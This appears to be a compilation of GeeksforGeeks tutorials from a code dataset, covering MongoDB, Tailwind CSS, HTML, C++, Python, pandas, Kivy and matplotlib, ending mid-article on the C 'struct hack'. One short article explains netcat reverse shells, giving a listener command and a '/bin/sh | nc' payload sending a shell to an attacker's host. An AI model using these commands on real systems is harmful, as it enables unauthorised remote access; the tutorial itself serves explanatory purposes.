code-rag-bench/online-tutorials huggingface dataset:
How to connect mongodb Server with Node.js ? - GeeksforGeeks

25 Oct, 2020
mongodb.connect() method is the method of the MongoDB module of the Node.js which is used to connect the database with our Node.js Application. This is an asynchronous method of the MongoDB module.
Syntax:
mongodb.connect(path,callbackfunction)

Parameters: This method accept two parameters as mentioned above and described below:
Path/URL: The Path of the server of the MongoDB server which is running on a particular port number.callbackfunction: It returns the err or the instance of the mongodb database for further operation if connection successful.
Path/URL: The Path of the server of the MongoDB server which is running on a particular port number.
callbackfunction: It returns the err or the instance of the mongodb database for further operation if connection successful.
Installing module:
npm install mongodb --save

Project structure:
Command to run server on particular ip:
mongod --dbpath=data --bind_ip 127.0.0.1

FileName index.js
Javascript
// Module callingconst MongoClient = require("mongodb");  // Server pathconst url = 'mongodb://localhost:27017/';  // Name of the databaseconst dbname = "conFusion";  MongoClient.connect(url, (err,client)=>{    if(!err) {        console.log("successful connection with the server");      }    else        console.log("Error in the connectivity");})
Running command:
node index.js

Output:
node index.js
(node:7016) DeprecationWarning: current Server Discovery and Monitoring engine is deprecated, and will be removed in a future version. To use the new Server Discover and Monitoring engine, pass option { useUnifiedTopology: true } to the MongoClient constructor.
(Use `node --trace-deprecation ...` to show where the warning was created)
successful connection with the server

Node.js-Misc
MongoDB
Node.js
Web Technologies
Web technologies Questions
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Spring Boot JpaRepository with Example
Aggregation in MongoDB
Mongoose Populate() Method
MongoDB - Check the existence of the fields in the specified collection
How to build a basic CRUD app with Node.js and ReactJS ?
Installation of Node.js on Linux
How to update Node.js and NPM to next version ?
Node.js fs.readFileSync() Method
Node.js fs.writeFile() Method
Node.js fs.readFile() Method
Tailwind CSS Drop Shadow - GeeksforGeeks

23 Mar, 2022
The Drop Shadow class is used to apply a filter to the image to set the shadow of the image. This class creates a blurred shadow in a given offset and color. In CSS, we do that by using the CSS drop-shadow() Function. Tailwind CSS newly added feature brightness in 2.1 version.
Drop Shadow:
drop-shadow-sm: This class is used to set the small shadow effect.
drop-shadow: This class is used to set the normal shadow effect.
drop-shadow-md: This class is used to set the medium shadow effect.
drop-shadow-lg: This class is used to set the large shadow effect.
drop-shadow-xl: This class is used to set the extra-large shadow effect.
drop-shadow-2xl: This class is used to set the double extra large shadow effect.
drop-shadow-none: This class is used to remove the shadow effect.
Syntax:
<element class="filter drop-shadow-{amount}">..</element>
Example:
HTML
<!DOCTYPE html><html><head>    <link href="https://unpkg.com/tailwindcss@^2.1/dist/tailwind.min.css"        rel="stylesheet"></head>  <body class="text-center mx-4 space-y-2">    <h1 class="text-green-600 text-5xl font-bold">        GeeksforGeeks    </h1>    <b>Tailwind CSS Drop Shadow Class</b>    <div class="grid grid-flow-col text-center p-4">        <img class="rounded-lg filter drop-shadow-sm"           src="https://media.geeksforgeeks.org/wp-content/uploads/20210604014825/QNHrwL2q-100x100.jpg"              alt="image">        <img class="rounded-lg filter drop-shadow"              src="https://media.geeksforgeeks.org/wp-content/uploads/20210604014825/QNHrwL2q-100x100.jpg"              alt="image">        <img class="rounded-lg filter drop-shadow-md"              src="https://media.geeksforgeeks.org/wp-content/uploads/20210604014825/QNHrwL2q-100x100.jpg"              alt="image">        <img class="rounded-lg filter drop-shadow-lg"              src="https://media.geeksforgeeks.org/wp-content/uploads/20210604014825/QNHrwL2q-100x100.jpg"              alt="image">        <img class="rounded-lg filter drop-shadow-2xl"              src="https://media.geeksforgeeks.org/wp-content/uploads/20210604014825/QNHrwL2q-100x100.jpg"              alt="image">              </div></body>  </html>
Output:
Tailwind CSS
Tailwind-Filters
CSS
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to insert spaces/tabs in text using HTML/CSS?
Top 10 Projects For Beginners To Practice HTML and CSS Skills
How to update Node.js and NPM to next version ?
How to create footer to stay at the bottom of a Web page?
How to apply style to parent if it has child with CSS?
Remove elements from a JavaScript Array
Installation of Node.js on Linux
Convert a string to an integer in JavaScript
How to fetch data from an API in ReactJS ?
How to insert spaces/tabs in text using HTML/CSS?
HTML | Spell Check - GeeksforGeeks

11 Aug, 2021
The Spell Check feature in HTML is used to detect grammatical or spelling mistakes in the text fields.The Spell Check feature can be applied to HTML forms using the spellcheck attribute. The spellcheck attribute is an enumerated attribute which defines whether the HTML element will be checked for errors or not. It can be used with “input” and “textarea” fields in HTML.
Supported Tags: It supports all HTML elements. 
Syntax : Syntax for spellcheck attribute in an input field in html:  
<input type="text" spellcheck="value">
Syntax for spellcheck in a textarea field in html: 
<textarea type="text" spellcheck="value"></textarea>
In the above syntax the value assigned to spellcheck will define whether spellcheck will be enabled or not on the element. The spellcheck attribute has two valid values, which are: 
True: It defines that the HTML element should be checked for errors.
False: It defines that the HTML element should not be checked for errors.
When the attribute is not set, it takes the default value which is generally element type and browser defined. The value can be also be inherited from the ancestral element.
Enabling Spell Check in an HTML Form: To enable spellcheck in an HTML form the spellcheck attribute is set to “true”. Below is the sample HTML program with enabled spellcheck.  
Example:1
HTML
<!DOCTYPE html><html><body><h3>Example of Enabling SpellCheck</h3>    <form>          <p>            <input type="text" spellcheck="true">        </p>            <p>            <textarea spellcheck="true"></textarea>        </p>          <button type="reset">Reset</button>    </form></body></html>                           
Output: 
Disabling Spell Check in a HTML Form: To disable spellcheck in a HTML form the spellcheck attribute is set to “false”. Below is the sample HTML program with disabled spellcheck.  
Example:2
HTML
<!DOCTYPE html><html><body><h3>Example of Disabling SpellCheck</h3>    <form>          <p>            <input type="text" spellcheck="false">        </p>            <p>            <textarea spellcheck="false"></textarea>        </p>          <button type="reset">Reset</button>    </form></body></html>        
Output: 
Supported Browsers: The browser supported by spellcheck attribute are listed below: 
Google Chrome 9.0
Internet Explorer 11.0
Firefox
Opera
Safari
 
Attention reader! Don’t stop learning now. Get hold of all the important HTML concepts with the Web Design for Beginners | HTML  course.
Akanksha_Rai
Vijay Sirra
ManasChhabra2
HTML-Attributes
HTML-Basics
HTML
Web Technologies
HTML
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Top 10 Projects For Beginners To Practice HTML and CSS Skills
How to insert spaces/tabs in text using HTML/CSS?
How to update Node.js and NPM to next version ?
How to set the default value for an HTML <select> element ?
Hide or show elements in HTML using display property
Remove elements from a JavaScript Array
Installation of Node.js on Linux
Convert a string to an integer in JavaScript
How to fetch data from an API in ReactJS ?
Top 10 Projects For Beginners To Practice HTML and CSS Skills
DFA (Recognizer) for valid Pascal identifiers - GeeksforGeeks

29 Jun, 2021
Problem – Implement a recognizer for pascal identifiers based on a DFA that accepts strings belonging to the definition of the language of the same.
Here is a regular definition for the set of Pascal identifiers that are defined as the set of strings of letters and digits beginning with a letter.
letter : A | B | . . . | Z | a | b | . . . | z
digit  : 0 | 1 | 2 | . . . | 9
ID : letter (letter | digit)* 
The regular expression ID is the pattern for the Pascal identifier token and defines letter and digit where a letter is a regular expression for the set of all upper-case and lowercase letters in the alphabet and digit is regular for the set of all decimal digits.
State diagram of the DFA
Working code for the recognizer:
C++
// C++ program to implement DFA based regonizer that accepts// all strings which follow the language// L = { letter (letter | digit)* } #include <bits/stdc++.h>#include <iostream>using namespace std; // dfa tells the number associated// with the present stateint dfa; // This function is for// the starting state (zeroth) of DFAvoid start(char c){    if (isalpha(c))        dfa = 1;    else // -1 is used to check for any invalid symbol        dfa = -1;} // This function is for the first state of DFAvoid state1(char c){    if (isalnum(c))        dfa = 1;    else        dfa = -1;} bool DFA_for_ID(string token){    dfa = 0;    int i, len = token.length();    for (i = 0; i < len; i++) {        if (dfa == 0)            start(token[i]);        else if (dfa == 1)            state1(token[i]);        else            return 0;    }    if (dfa == 1)        return 1;    else        return 0;} // driver codeint main(){    string input = "Geeks for Geeks is 9ice platfo$m for every1  "; // to separate all the tokens by space in the string// and checking for each token    stringstream ss(input);    string token;    while (ss >> token) {        bool isValid = DFA_for_ID(token);        if (isValid)            cout << token << " : "                 << "Valid" << endl;        else            cout << token << " : "                 << "Invalid" << endl;    }    return 0;}
Output: 
Geeks : Valid
for : Valid
Geeks : Valid
is : Valid
9ice : Invalid
platfo$m : Invalid
for : Valid
every1 : Valid
 
clintra
sweetyty
Theory of Computation & Automata
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
NPDA for accepting the language L = {an bn | n>=1}
Construct Pushdown Automata for all length palindrome
NPDA for the language L ={w∈ {a,b}*| w contains equal no. of a's and b's}
NPDA for accepting the language L = {wwR | w ∈ (a,b)*}
Construct a Turing Machine for language L = {ww | w ∈ {0,1}}
Pushdown Automata Acceptance by Final State
Halting Problem in Theory of Computation
Ambiguity in Context free Grammar and Context free Languages
Decidable and Undecidable problems in Theory of Computation
Variation of Turing Machine
How to dynamically create and apply CSS class in JavaScript ? - GeeksforGeeks

06 Oct, 2021
In this article, we will see how to dynamically create a CSS class and apply to the element dynamically using JavaScript. To do that, first we create a class and assign it to HTML elements on which we want to apply CSS property. We can use className and classList property in JavaScript.
Approach:
The className property used to add a class in JavaScript. It overwrites existing classes of the selected elements. If we don’t want to overwrite then we have to add a space before the class name.
// It overwrites existing classes 

var h2 = document.querySelector("h2");
h2.className = "test";

// Add new class to existing classes
// Note space before new class name

h2.className = " test";
The classList property also used to add a class in JavaScript but it never overwrites existing classes and adds a new class to the selected elements class list.
// Add new class to existing classes

var p = document.querySelector("p");
p.classList.add("test");
After adding new classes to the elements, we select the new class(test) and then apply CSS properties to it, with the help of style property in JavaScript.
// Select all elements with class test 

var temp = document.querySelectorAll(".test");

// Apply CSS property to it
for (var i = 0; i < temp.length; i++) {
  temp[i].style.color = "white";
  temp[i].style.backgroundColor = "black";
}
Below is the implementation of this:
Example:
HTML
<!DOCTYPE html><html lang="en"> <head>    <meta charset="UTF-8"></head> <body>    <h2 class="hello"> Welcome to gfg </h2>     <p id="hi">Hi it's me.</p>         <button onclick="apply()">        Apply css dynamically    </button>         <script>        function apply() {            // It overwrites existing classes            var h2 = document.querySelector("h2");            h2.className = "test";             // Add new class to existing classes            var p = document.querySelector("p");            p.classList.add("test");             // Select all elements with class test            var temp = document.querySelectorAll(".test");             // Apply CSS property to it            for (var i = 0; i < temp.length; i++) {                temp[i].style.color = "green";                temp[i].style.fontSize = "40px";            }        }    </script></body> </html>
Output:
Before Clicking the Button:
After Clicking the Button: 
 
surinderdawra388
surindertarika1234
kashishsoda
CSS-Misc
HTML-Misc
JavaScript-Misc
Picked
CSS
HTML
JavaScript
Web Technologies
Web technologies Questions
HTML
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to set space between the flexbox ?
Design a web page using HTML and CSS
Form validation using jQuery
How to style a checkbox using CSS?
Search Bar using HTML, CSS and JavaScript
How to set the default value for an HTML <select> element ?
Hide or show elements in HTML using display property
How to set input type date in dd-mm-yyyy format using HTML ?
REST API (Introduction)
How to Insert Form Data into Database using PHP ?
SQL Tryit Editor v1.6

SELECT 30 / 10;
​
Edit the SQL Statement, and click "Run SQL" to see the result.
This SQL-Statement is not supported in the WebSQL Database.
The example still works, because it uses a modified version of SQL.
Your browser does not support WebSQL.
Your are now using a light-version of the Try-SQL Editor, with a read-only Database.
If you switch to a browser with WebSQL support, you can try any SQL statement, and play with the Database as much as you like. The Database can also be restored at any time.
Our Try-SQL Editor uses WebSQL to demonstrate SQL.
A Database-object is created in your browser, for testing purposes.
You can try any SQL statement, and play with the Database as much as you like. The Database can be restored at any time, simply by clicking the "Restore Database" button.
WebSQL stores a Database locally, on the user's computer. Each user gets their own Database object.
WebSQL is supported in Chrome, Safari, Opera, and Edge(79).
If you use another browser you will still be able to use our Try SQL Editor, but a different version, using a server-based ASP application, with a read-only Access Database, where users are not allowed to make any changes to the data.
Difference between cout and std::cout in C++ - GeeksforGeeks

01 Aug, 2020
The cout is a predefined object of ostream class, and it is used to print the data on the standard output device. Generally, when we write a program in Linux operating system for G++ compiler, it needs “std” namespace in the program.We use it by writing using namespace std; then we can access any of the objects like cout, cin.
C++
// Program to show the use of cout// without using namespace  #include <iostream>int main(){    std::cout << "GeeksforGeeks";    return 0;}
GeeksforGeeks

std:cout: A namespace is a declarative region inside which something is defined. So, in that case, cout is defined in the std namespace. Thus, std::cout states that is cout defined in the std namespace otherwise to use the definition of cout which is defined in std namespace. So, that std::cout is used to the definition of cout from std namespace.
C++
// Program to show use of using namespace  #include <iostream>using namespace std;int main(){    cout << "GeeksforGeeks";    return 0;}
GeeksforGeeks

What would happen if neither “using namespace std” nor “std::” is used for cout?
C++
// Program without using// using namespace std and std::  #include <iostream>  int main(){    cout << "GeeksforGeeks";    return 0;}
Compilation Error:
main.cpp: In function ‘int main()’:
main.cpp:5:2: error:
  ‘cout’ was not declared in this scope
  cout<<"GeeksforGeeks"<<endl;
  
main.cpp:5:2: note: suggested alternative:
In file included from main.cpp:1:0:
/usr/include/c++/7/iostream:61:18: note:   ‘std::cout’
   extern ostream cout;  /// Linked to standard output

Difference between “using namespace std cout” and “std::cout”?
In C++, cout and std::cout both are same, but there are some basic differences are following:
CPP-Basics
C++
Difference Between
CPP
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Inheritance in C++
Map in C++ Standard Template Library (STL)
C++ Classes and Objects
Virtual Function in C++
Bitwise Operators in C/C++
Difference between BFS and DFS
Class method vs Static method in Python
Differences between TCP and UDP
Difference between var, let and const keywords in JavaScript
Differences between IPv4 and IPv6
Python - Test if all Values are Same in Dictionary - GeeksforGeeks

01 Aug, 2020
Given a dictionary, test if all its values are same.
Input : test_dict = {“Gfg” : 8, “is” : 8, “Best” : 8}Output : TrueExplanation : All element values are same, 8.
Input : test_dict = {“Gfg” : 8, “is” : 8, “Best” : 9}Output : FalseExplanation : All element values not same.
Method #1 : Using loop
This is one of the ways in which this task can be performed. In this, we iterate for all the values and compare with value in dictionary, if any one is different, then False is returned.
Python3
# Python3 code to demonstrate working of # Test if all Values are Same in Dictionary # Using loop  # initializing dictionarytest_dict = {"Gfg" : 5, "is" : 5, "Best" : 5}  # printing original dictionaryprint("The original dictionary is : " + str(test_dict))  # Flag to check if all elements are same res = True   # extracting value to comparetest_val = list(test_dict.values())[0]  for ele in test_dict:    if test_dict[ele] != test_val:        res = False         break  # printing result print("Are all values similar in dictionary? : " + str(res)) 
The original dictionary is : {'Gfg': 5, 'is': 5, 'Best': 5}
Are all values similar in dictionary? : True

Method #2 : Using set() + values() + len()
This is yet another way in which this task can be performed. In this, we extract all the values using values() and set() is used to remove duplicates. If length of the extracted set is 1, then all the values are assumed to be similar.
Python3
# Python3 code to demonstrate working of # Test if all Values are Same in Dictionary # Using set() + values() + len()  # initializing dictionarytest_dict = {"Gfg" : 5, "is" : 5, "Best" : 5}  # printing original dictionaryprint("The original dictionary is : " + str(test_dict))  # using set() to remove duplicates and check for values countres = len(list(set(list(test_dict.values())))) == 1  # printing result print("Are all values similar in dictionary? : " + str(res)) 
The original dictionary is : {'Gfg': 5, 'is': 5, 'Best': 5}
Are all values similar in dictionary? : True

Python dictionary-programs
Python
Python Programs
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to Install PIP on Windows ?
Check if element exists in list in Python
How To Convert Python Dictionary To JSON?
How to drop one or multiple columns in Pandas Dataframe
Python Classes and Objects
Defaultdict in Python
Python | Get dictionary keys as a list
Python | Split string into list of characters
Python | Convert a list to dictionary
How to print without newline in Python?
Matplotlib.axes.Axes.set_alpha() in Python - GeeksforGeeks

30 Apr, 2020
Matplotlib is a library in Python and it is numerical – mathematical extension for NumPy library. The Axes Class contains most of the figure elements: Axis, Tick, Line2D, Text, Polygon, etc., and sets the coordinate system. And the instances of Axes supports callbacks through a callbacks attribute.
The Axes.set_alpha() function in axes module of matplotlib library is used to set the alpha value used for blending.
Syntax: Axes.set_alpha(self, alpha)
Parameters: This method accepts only one parameters.
alpha: This parameter is the contains float value or None.
Returns: This method does not return any value.
Below examples illustrate the matplotlib.axes.Axes.set_alpha() function in matplotlib.axes:
Example 1:
# Implementation of matplotlib functionimport matplotlib.pyplot as pltimport numpy as np   # create test datanp.random.seed(10**7)data = [sorted(np.random.normal(0, std, 100))        for std in range(1, 5)]   fig, ax1 = plt.subplots()val = ax1.violinplot(data)ax1.set_ylabel('Result')ax1.set_xlabel('Domain Name')for i in val['bodies']:    i.set_facecolor('green')    i.set_alpha(0.9)    fig.suptitle('matplotlib.axes.Axes.set_alpha() \function Example\n\n', fontweight ="bold")  plt.show()
Output:
Example 2:
# Implementation of matplotlib functionimport matplotlib.pyplot as pltimport numpy as npfrom matplotlib.patches import Ellipse   NUM = 200   ells = [Ellipse(xy = np.random.rand(2) * 10,                width = np.random.rand(),                 height = np.random.rand(),                angle = np.random.rand() * 360)        for i in range(NUM)]   fig, ax = plt.subplots(subplot_kw ={'aspect': 'equal'})  for e in ells:    ax.add_artist(e)    e.set_clip_box(ax.bbox)    e.set_alpha(np.random.rand())    e.set_facecolor(np.random.rand(4))   ax.set_xlim(3, 7)ax.set_ylim(3, 7)      fig.suptitle('matplotlib.axes.Axes.set_alpha()\ function Example\n\n', fontweight ="bold")  plt.show()
Output:
Matplotlib axes-class
Python-matplotlib
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python Dictionary
Read a file line by line in Python
How to Install PIP on Windows ?
Enumerate() in Python
Different ways to create Pandas Dataframe
Iterate over a list in Python
Python String | replace()
*args and **kwargs in Python
Reading and Writing to text files in Python
Create a Pandas DataFrame from Lists
Python Program to convert String to Uppercase under the Given Condition - GeeksforGeeks

02 Feb, 2021
Given a String list, the task is to write a Python program to convert uppercase strings if length is greater than K.
Examples:
Input : test_list = [“Gfg”, “is”, “best”, “for”, “geeks”], K = 3
Output : [‘Gfg’, ‘is’, ‘BEST’, ‘for’, ‘GEEKS’]
Explanation : Best has 4 chars, hence BEST is uppercased.
Input : test_list = [“Gfg”, “is”, “best”, “for”, “geeks”], K = 4
Output : [‘Gfg’, ‘is’, ‘best’, ‘for’, ‘GEEKS’]
Explanation : geeks has 5 chars [greater than 4], hence GEEKS is uppercased.
Method #1 : Using upper() + loop
In this, we perform task of uppercasing using upper(), and conditional statements for greater is checked using loop.
Python3
# Python3 code to demonstrate working of# Conditional Uppercase by size# Using upper() + loop  # initializing listtest_list = ["Gfg", "is", "best", "for", "geeks"]  # printing original listprint("The original list is : " + str(test_list))  # initializing K K = 3  res = []for ele in test_list:          # check for size    if len(ele) > K:        res.append(ele.upper())    else:        res.append(ele)  # printing resultprint("Modified Strings : " + str(res))
Output:
The original list is : ['Gfg', 'is', 'best', 'for', 'geeks']
Modified Strings : ['Gfg', 'is', 'BEST', 'for', 'GEEKS']
Method #2 : Using list comprehension
In this, task of iteration is performed inside list comprehension to act as shorthand to similar method as above.
Python3
# Python3 code to demonstrate working of# Conditional Uppercase by size# Using list comprehension  # initializing listtest_list = ["Gfg", "is", "best", "for", "geeks"]  # printing original listprint("The original list is : " + str(test_list))  # initializing K K = 3  # list comprehension for one liner solutionres = [ele.upper() if len(ele) > K else ele for ele in test_list]  # printing resultprint("Modified Strings : " + str(res))
Output:
The original list is : ['Gfg', 'is', 'best', 'for', 'geeks']
Modified Strings : ['Gfg', 'is', 'BEST', 'for', 'GEEKS']
Python list-programs
Python string-programs
Python
Python Programs
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to Install PIP on Windows ?
Check if element exists in list in Python
How To Convert Python Dictionary To JSON?
How to drop one or multiple columns in Pandas Dataframe
Python Classes and Objects
Defaultdict in Python
Python | Get dictionary keys as a list
Python | Split string into list of characters
Python | Convert a list to dictionary
How to print without newline in Python?
How to Create Reverse Shells with Netcat in Kali Linux? - GeeksforGeeks

30 Jun, 2020
Netcat is a command in Linux which is used to perform port listening, port redirection, port checking, or even network testing. Netcat is also called a swiss army knife of networking tools. This command is also used to create a reverse shell. Before getting in depth of reverse shell one must be aware of what exactly is netcat tool. To know more, you can go through the article netcat command.
Generally, in order to hack into a system, an attacker tries to gain shell access to execute the malicious payload commands. The gained shell is called the reverse shell which could be used by an attacker as a root user and the attacker could do anything out of it. During the whole process, the attacker’s machine acts as a server that waits for an incoming connection, and that connection comes along with a shell.
1. Setup a listener: The very first step is to set up a listener on the attacker’s machine in order to act as a server and to listen to the incoming connections. Use the following command to start listening.
nc –nlvp 5555
Replace the port number 5555 with the port you want to receive the connection on.
This will start the listener on the port 5555.
2. Receive connection along with a shell from target: Now as we have started listening, it’s time to execute a basic payload at the target so that we could get a reverse shell. Use the following command to send the request to the attacker.
/bin/sh | nc 127.0.0.1 5555
Replace 127.0.0.1 with the host IP of the attacker and 5555 with the attacker’s port.
This will give a reverse shell to the attacker which attacker could use to execute any command.
3. Executing a command through shell: Now if we enter any command at the receiver’s terminal the output would be displayed on the attacker’s terminal.
Kali-Linux
Linux-Unix
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
ZIP command in Linux with examples
TCP Server-Client implementation in C
SORT command in Linux/Unix with examples
tar command in Linux with examples
curl command in Linux with Examples
Conditional Statements | Shell Script
'crontab' in Linux with Examples
diff command in Linux with examples
UDP Server-Client implementation in C
Tail command in Linux with examples
Python | RecycleView in Kivy

30 Jan, 2020
Kivy is a platform-independent GUI tool in Python. As it can be run on Android, IOS, Linux and Windows, etc. It is basically used to develop the Android application, but it does not mean that it can not be used on Desktop applications.
RecycleView:Recycleview helps to deal with a large number of data items. Recycleview provides the user with the flexibility to scroll down or scroll-up the data displayed in the kivy application. You can also select multiple data items at once. Recycleview is memory efficient as compared to Listview.
To use RecycleView you have to first import it.
from kivy.uix.recycleview import RecycleView
Implementation
# Program to explain how to use recycleview in kivy  # import the kivy modulefrom kivy.app import App  # The ScrollView widget provides a scrollable view from kivy.uix.recycleview import RecycleView    # Define the Recycleview class which is created in .kv fileclass ExampleViewer(RecycleView):    def __init__(self, **kwargs):        super(ExampleViewer, self).__init__(**kwargs)        self.data = [{'text': str(x)} for x in range(20)]  # Create the App class with name of your app.class SampleApp(App):    def build(self):        return ExampleViewer()  # run the AppSampleApp().run()
The .kv file for the above code
<ExampleViewer>:    viewclass: 'Button'  # defines the viewtype for the data items.    orientation: "vertical"    spacing: 40    padding:10, 10    space_x: self.size[0]/3      RecycleBoxLayout:        color:(0, 0.7, 0.4, 0.8)        default_size: None, dp(56)          # defines the size of the widget in reference to width and height        default_size_hint: 0.4, None         size_hint_y: None        height: self.minimum_height        orientation: 'vertical' # defines the orientation of data items
Output:Above code generates a list of numbers in the range 0 to 20 which can be viewed by scrolling up and down.
Python-gui
Python-kivy
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python Dictionary
Different ways to create Pandas Dataframe
Enumerate() in Python
Read a file line by line in Python
Python String | replace()
How to Install PIP on Windows ?
*args and **kwargs in Python
Python Classes and Objects
Iterate over a list in Python
Python OOPs Concepts
Python | Filtering data with Pandas .query() method

23 Aug, 2019
Python is a great language for doing data analysis, primarily because of the fantastic ecosystem of data-centric Python packages. Pandas is one of those packages that makes importing and analyzing data much easier.
Analyzing data requires a lot of filtering operations. Pandas provide many methods to filter a Data frame and Dataframe.query() is one of them.
Syntax: DataFrame.query(expr, inplace=False, **kwargs)
Parameters:expr: Expression in string form to filter data.inplace: Make changes in the original data frame if Truekwargs: Other keyword arguments.
Return type: Filtered Data frame
To download the CSV file used, Click Here.
Note: Dataframe.query() method only works if the column name doesn’t have any empty spaces. So before applying the method, spaces in column names are replaced with ‘_’
Example #1: Single condition filtering
In this example, the data is filtered on the basis of single condition. Before applying the query() method, the spaces in column names have been replaced with ‘_’.
# importing pandas packageimport pandas as pd  # making data frame from csv file data = pd.read_csv("employees.csv")  # replacing blank spaces with '_' data.columns =[column.replace(" ", "_") for column in data.columns]  # filtering with query methoddata.query('Senior_Management == True', inplace = True)  # displaydata
Output:As shown in the output image, the data now only have rows where Senior Management is True. Example #2: Multiple condition filtering
In this example, dataframe has been filtered on multiple conditions. Before applying the query() method, the spaces in column names have been replaced with ‘_’.
# importing pandas packageimport pandas as pd  # making data frame from csv file data = pd.read_csv("employees.csv")  # replacing blank spaces with '_' data.columns =[column.replace(" ", "_") for column in data.columns]  # filtering with query methoddata.query('Senior_Management == True             and Gender =="Male" and Team =="Marketing"             and First_Name =="Johnny"', inplace = True)  # displaydata
Output:As shown in the output image, only two rows have been returned on the basis of filters applied.
Akanksha_Rai
Python pandas-dataFrame
Python pandas-dataFrame-methods
Python-pandas
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Different ways to create Pandas Dataframe
Enumerate() in Python
How to Install PIP on Windows ?
*args and **kwargs in Python
Python Classes and Objects
Python OOPs Concepts
Introduction To PYTHON
Create a Pandas DataFrame from Lists
Python | os.path.join() method
Convert integer to string in Python
Uninstall Linux completely from a PC with Windows

29 Apr, 2022
We would learn here how to completely uninstall any Linux OS from PC through Windows. This is a procedure that involves to steps-> (i) Delete Linux Partition (ii) Remove Linux OS from EFI System Partition You must be thinking what is EFI System Partition? The EFI system partition (ESP) is a partition on a storage device that is used by computers adhering to the Unified Extensible Firmware Interface (UEFI). When a computer is booted, UEFI firmware loads files stored on the ESP to start installed operating systems either windows or Linux(ubuntu/fedora/mint). Let’s get started with the uninstallation procedure-> (i) Log on to Windows OS in Admin mode. (ii) On the left-corner windows icon right click. (iii) Here you will see options like  (iv) Open Disk Management (v) Delete the Partition which does not have a letter (like (C:)) or is not a NTFS partition and is greater than 1GB. (vi) Now you have successfully completed the first Step. (vii) Ubuntu/Fedora(Linux OS) is deleted but on restarting your pc you will still see the grub option so we need to uninstall Linux OS from EFI System Partition too. (viii) Now open the Command Prompt (Admin) ( shown in the options image above ). (ix) Follow these commands-> Note the line after ‘#’ is just to explain the command
> diskpart  
> list disk       # select the primary disk
> select disk 0   # disk 0 is 
> list partition   # a list of partition is opened

Note-> Check which is the system partition (example partition 1 is system partition)

> select partition 1  #select the system partition
> assign letter=x     #disk is now mounted in your explorer verify with (windows+E)
>exit    #exit from diskpart
>x:      # this would select this newly mounted disk x:
> dir  # displays content
> cd efi
>dir   #displays content

Note-> You can now see the OS check your Linux OS

>rd ubuntu /S    #if Linux os is Ubuntu
>y               #to confirm delete
>NOTE:- Restart your PC and the drive X: mounted EFI partition disappears again. CONGRATULATIONS Linux OS is now completely uninstalled. This article is contributed by SHAURYA UPPAL. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
surinderdawra388
Linux-Unix
TechTips
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
tar command in Linux with examples
curl command in Linux with Examples
Conditional Statements | Shell Script
'crontab' in Linux with Examples
Tail command in Linux with examples
How to Find the Wi-Fi Password Using CMD in Windows?
Docker - COPY Instruction
Setting up the environment in Java
How to Run a Python Script using Docker?
Running Python script on GPU.
Matplotlib.pyplot.twinx() in Python

11 Apr, 2020
Matplotlib is a library in Python and it is numerical – mathematical extension for NumPy library. Pyplot is a state-based interface to a Matplotlib module which provides a MATLAB-like interface.
Sample Code
# sample codeimport matplotlib.pyplot as plt     plt.plot([1, 2, 3, 4], [16, 4, 1, 8]) plt.show() 
Output:
The twinx() function in pyplot module of matplotlib library is used to make and return a second axes that shares the x-axis.
Syntax:
matplotlib.pyplot.twinx(ax=None)
Parameters: This method does not accepts any parameters.
Returns: This returns the second axes that shares the x-axis
Below examples illustrate the matplotlib.pyplot.twinx() function in matplotlib.pyplot:
Example #1:
# Implementation of matplotlib functionimport matplotlib.pyplot as pltimport numpy as np      def GFG1(temp):    return (5. / 9.) * (temp - 32)   def GFG2(ax1):    y1, y2 = ax1.get_ylim()    ax_twin .set_ylim(GFG1(y1), GFG1(y2))    ax_twin .figure.canvas.draw()   fig, ax1 = plt.subplots()ax_twin = ax1.twinx()   ax1.callbacks.connect("ylim_changed", GFG2)ax1.plot(np.linspace(0, 120, 100))ax1.set_xlim(30, 100)   ax1.set_ylabel('Fahrenheit')ax_twin .set_ylabel('Celsius')   fig.suptitle('matplotlib.pyplot.twinx() function \Example\n\n', fontweight ="bold")plt.show()
Output:
Example #2:
# Implementation of matplotlib functionimport numpy as npimport matplotlib.pyplot as plt   # Create some mock datat = np.arange(0.01, 20.0, 0.001)data1 = np.exp(t)data2 = np.sin(0.3 * np.pi * t)   fig, ax1 = plt.subplots()   color = 'tab:blue'ax1.set_xlabel('time (s)')ax1.set_ylabel('exp', color = color)ax1.plot(t, data1, color = color)ax1.tick_params(axis ='y', labelcolor = color)   ax2 = ax1.twinx()   color = 'tab:green'ax2.set_ylabel('sin', color = color)ax2.plot(t, data2, color = color)ax2.tick_params(axis ='y', labelcolor = color)  fig.suptitle('matplotlib.pyplot.twinx() function \Example\n\n', fontweight ="bold")plt.show()
Output:
Python-matplotlib
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python Dictionary
Different ways to create Pandas Dataframe
Enumerate() in Python
How to Install PIP on Windows ?
*args and **kwargs in Python
Python Classes and Objects
Python OOPs Concepts
Convert integer to string in Python
Introduction To PYTHON
How to drop one or multiple columns in Pandas Dataframe
Struct Hack

06 Sep, 2021
What will be the size of following structure? 
CPP
struct employee{    int     emp_id;    int     name_len;    char    name[0];};
4 + 4 + 0 = 8 bytes.And what about size of “name[0]”. In gcc, when we create an array of zero length, it is considered as array of incomplete type that’s why gcc reports its size as “0” bytes. This technique is known as “Struct Hack”. When we create array of zero length inside structure, it must be (and only) last member of structure. Shortly we will see how to use it. “Struct Hack” technique is used to create variable length member in a structure. In the above structure, string length of “name” is not fixed, so we can use “name” as variable length array.Let us see below memory allocation.
struct employee *e = malloc(sizeof(*e) + sizeof(char) * 128); 
is equivalent to 
CPP
